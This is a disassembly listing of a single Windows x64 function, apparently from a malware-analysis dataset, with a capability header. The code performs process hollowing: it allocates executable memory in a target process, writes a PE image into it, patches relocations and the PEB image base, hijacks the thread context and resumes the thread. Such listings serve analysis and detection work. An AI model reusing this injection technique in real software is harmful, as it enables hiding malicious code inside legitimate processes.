Function at 0x14000950f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push rdi
sub rsp, 0x598
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x530], rcx
mov qword [rbp + 0x538], rdx
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x4f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4f0]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x4e0], rax
cmp qword [rbp + 0x4e0], 0
jne 0x1400095bc
lea rax, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x4e0]
mov rdx, rax
lea rax, str.___Memory_allocate_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4e8]
mov rax, qword [rax + 0x30]
sub rdx, rax
mov qword [rbp + 0x4d8], rdx
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4e8]
mov qword [rax + 0x30], rdx
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x538]
mov rdx, qword [rbp + 0x4e0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x4d4], eax
cmp dword [rbp + 0x4d4], 0
jne 0x14000966b
lea rax, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x4e0]
mov rdx, rax
lea rax, str.___Headers_write_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x538]
mov rcx, rax
call sym.GetRelocAddress64_void_
mov qword [rbp + 0x494], rax
mov qword [rbp + 0x508], 0
mov dword [rbp + 0x504], 0
jmp 0x140009806
mov rax, qword [rbp + 0x4e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x4e8]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x504]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x4a0], rax
mov edx, dword [rbp + 0x494]
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140009734
mov edx, dword [rbp + 0x494]
mov rax, qword [rbp + 0x4a0]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140009734
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x538]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x4e0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x49c], eax
cmp dword [rbp + 0x49c], 0
jne 0x1400097ca
mov rax, qword [rbp + 0x4a0]
mov rdx, rax
lea rax, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x4e0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x4a0]
mov r8, rdx
mov rdx, rax
lea rax, str.___Section__s_write_at_:_0x_p._n
mov rcx, rax
call sym.printf_char_const__::_
add dword [rbp + 0x504], 1
mov rax, qword [rbp + 0x4e8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x504], eax
jl 0x1400096b4
cmp qword [rbp + 0x508], 0
jne 0x140009843
lea rax, str.____An_error_is_occured_when_trying_to_get_the_relocation_section_of_the_source_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x508]
mov rdx, rax
lea rax, str.___Relocation_section_:__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0x500], 0
jmp 0x1400099cf
mov rax, qword [rbp + 0x508]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x538]
add rdx, rax
mov eax, dword [rbp + 0x500]
add rax, rdx
mov qword [rbp + 0x4c0], rax
add dword [rbp + 0x500], 8
mov rax, qword [rbp + 0x4c0]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0x4bc], eax
mov dword [rbp + 0x4fc], 0
jmp 0x1400099bd
mov rax, qword [rbp + 0x508]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x538]
add rdx, rax
mov eax, dword [rbp + 0x500]
add rax, rdx
mov qword [rbp + 0x4b0], rax
add dword [rbp + 0x500], 2
mov rax, qword [rbp + 0x4b0]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x1400099b5
mov rax, qword [rbp + 0x4c0]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x4e0]
add rdx, rax
mov rax, qword [rbp + 0x4b0]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x4a8], rax
mov qword [rbp - 0x48], 0
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rdx, qword [rbp - 0x48]
mov rax, qword [rbp + 0x4d8]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
jmp 0x1400099b6
nop
add dword [rbp + 0x4fc], 1
mov eax, dword [rbp + 0x4fc]
cmp eax, dword [rbp + 0x4bc]
jb 0x1400098c0
mov eax, dword [rbp + 0x498]
cmp dword [rbp + 0x500], eax
jb 0x14000986b
lea rax, str.___Relocations_done._n
mov rcx, rax
call sym.printf_char_const__::_
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x9a
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x10000b
mov rax, qword [rbp + 0x530]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov dword [rbp + 0x4d0], eax
cmp dword [rbp + 0x4d0], 0
jne 0x140009a4e
lea rax, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x4e8]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x48]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp + 0x530]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x4cc], eax
cmp dword [rbp + 0x4cc], 0
jne 0x140009ab4
lea rax, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x4e8]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x4e0]
add rax, rdx
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x530]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov dword [rbp + 0x4c8], eax
cmp dword [rbp + 0x4c8], 0
jne 0x140009b0e
lea rax, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009b2a
mov rax, qword [rbp + 0x530]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 1
add rsp, 0x598
pop rdi
pop rbp
ret